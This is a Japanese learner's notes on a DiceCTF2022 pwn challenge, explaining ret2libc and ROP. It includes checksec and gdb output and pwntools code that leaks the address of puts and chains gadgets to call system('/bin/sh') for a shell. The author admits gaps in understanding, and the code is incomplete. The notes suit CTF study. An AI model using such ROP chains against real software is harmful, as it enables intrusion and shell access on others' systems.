はじめに
DiceCTF2022のinterview-opportunityで学んだことをまとめておきます。
writeupではなく、解き方も私が考えたものではないため、ご了承ください。
ret2libcとは
この問題ではret2libcという攻撃方法が用いられる。
これは、DEPによってスタックセグメントが実行不可能にされていた場合に、libcを用いて任意の関数を実行するというものである。
ROPとは
ROP(Return Oriented Programming)とは、元のコードの必要な部分を切り貼りして必要なコードを作り出すことである。
ret2libcを用いるときに複数の関数を用いるために、"gadget"と呼ばれる命令列を用いてそれらをつなげていくというものである。
ret2libcの流れ
1. スタックセグメントの確認
まずはスタックセグメントが実行可能であるかどうかを確認する。
$ checksec ./interview-opportunity
[*] ./interview-opportunity
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stack
の部分を見ることで、スタックセグメントが実行可能かどうかが分かる。(今回は不可能)
2. オフセットを求める
コードを見るなり、逆アセンブルするなりして脆弱性を見つけることができたら、オフセットを求める。
gdb -q ./interview-opportunity
Reading symbols from ./interview-opportunity...
(No debugging symbols found in ./interview-opportunity)
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/kali/dicectf2022/interview-opportunity
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?
Program received signal SIGALRM, Alarm clock.
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
Hello:
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA�
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x4012b0 (<__libc_csu_init>: endbr64)
RCX: 0x7ffff7ed4d53 (<__GI___libc_write+19>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7fa5743 --> 0xfa7670000000000a
RDI: 0x7ffff7fa7670 --> 0x0
RBP: 0x41413b4141444141 ('AADAA;AA')
RSP: 0x7fffffffde88 (")AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA\377\177")
RIP: 0x4012a5 (<main+101>: ret)
R8 : 0x49 ('I')
R9 : 0x0
R10: 0xfffffffffffffb86
R11: 0x246
R12: 0x4010a0 (<_start>: endbr64)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
gdb-peda$ patto AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA
AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA found at offset: 34
pattern_create
でランダムな文字列を作り出し実行してみる。
patto
を用いRSP
の文字列を入れることでオフセットを求めることができる。
3. gadgetのアドレスを見つける
pwntoolsというライブラリを使うと便利らしい。
elf = ELF("./interview-opportunity")
rop = ROP(elf)
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = (rop.find_gadget(['ret']))[0]
このコードが具体的に何をしているのかは理解できていないです。
おそらくバイナリから該当する部分を探しているのだろう。
4. libcのバージョンを求める
今回はlibcが与えられているので省略
5. libcのアドレスを求める
実行時のputs
のアドレスからlibc内のputs
のアドレスを引くことによって求められる。
PUTS_GOT = elf.got['puts']
PUTS_PLT = elf.symbols['puts']
p = process('./interview-opportunity')
p.recvuntil(b"?")
ropchain = b'A' * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)
p.interactive()
正直この実行時のputs
関数のアドレスを求めるコードもいまいち理解できていない。
最初のPOP_RDI
はその前の関数の引数をpop
するためのもの?
先に来ているPUTS_GOT
は引数で、PUTS_PLT
が呼び出す方の関数?
GOTの方にlibcのアドレスが含まれていることから引数の方はGOTになるのは分かるが、関数を呼び出す方はPLTになるのはなぜ?
最後にMAIN_PLT
が来るのはどうして?
といった具合である。
libc自体は与えられていることから、libc内のputs
のアドレスは調べることができる。
これによってlibcのアドレスを求めることができる。libcのアドレスは必ず00で終わるらしい。
6. systemを呼び出す
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
ropchain2 = b'A' * offset + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)
p.sendline(ropchain2)
p.interactive()
BIN_SH
を引数にsystem
関数を呼び出している。
まとめ
ret2libc、ROPの大まかな流れは理解できたが、細かな部分(特にlibcのアドレスを求める部分)で理解できないところがあった。
自分の中でかみ砕いて理解できれば追記しようと思う。
親切な方で「教えてあげるよ」という方がいれば、コメントしていただけると泣いて喜びます。